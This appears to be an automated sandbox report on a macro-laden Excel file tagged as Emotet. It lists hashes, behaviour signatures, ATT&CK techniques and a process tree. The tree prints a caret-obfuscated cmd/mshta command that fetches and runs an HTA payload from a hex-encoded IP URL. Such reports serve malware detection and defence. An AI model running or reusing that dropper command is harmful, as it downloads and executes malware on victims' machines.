Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 04:11

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Report Analysis Logs

General

  • Target

    3b4c7690fa48369fdc9a684e697c5ba23a23d5e89955484364a79fc0e74c99de.xlsm

  • Size

    115KB

  • MD5

    48904e8844874c95e6ab3513f7374aca

  • SHA1

    b341da5b22ab387ac0a34a39f508702f8fbe8bc0

  • SHA256

    3b4c7690fa48369fdc9a684e697c5ba23a23d5e89955484364a79fc0e74c99de

  • SHA512

    c9d6b0e8a7e6093aa12cd634eabf9f7eb93ce21d611c8718e1656ee754d468b32282117d14275cb6737bc81dc1bd277443c201e8061acbd697c2ac5492e13a03

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3b4c7690fa48369fdc9a684e697c5ba23a23d5e89955484364a79fc0e74c99de.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1448
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3228
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1008
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          PID:3076

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Credential Access

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

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    Downloads

    • memory/1448-115-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/1448-116-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/1448-117-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/1448-118-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/1448-119-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/1448-128-0x00007FFDEBBB0000-0x00007FFDEBBC0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/1448-129-0x00007FFDEBBB0000-0x00007FFDEBBC0000-memory.dmp
      Filesize

      64KB

      Download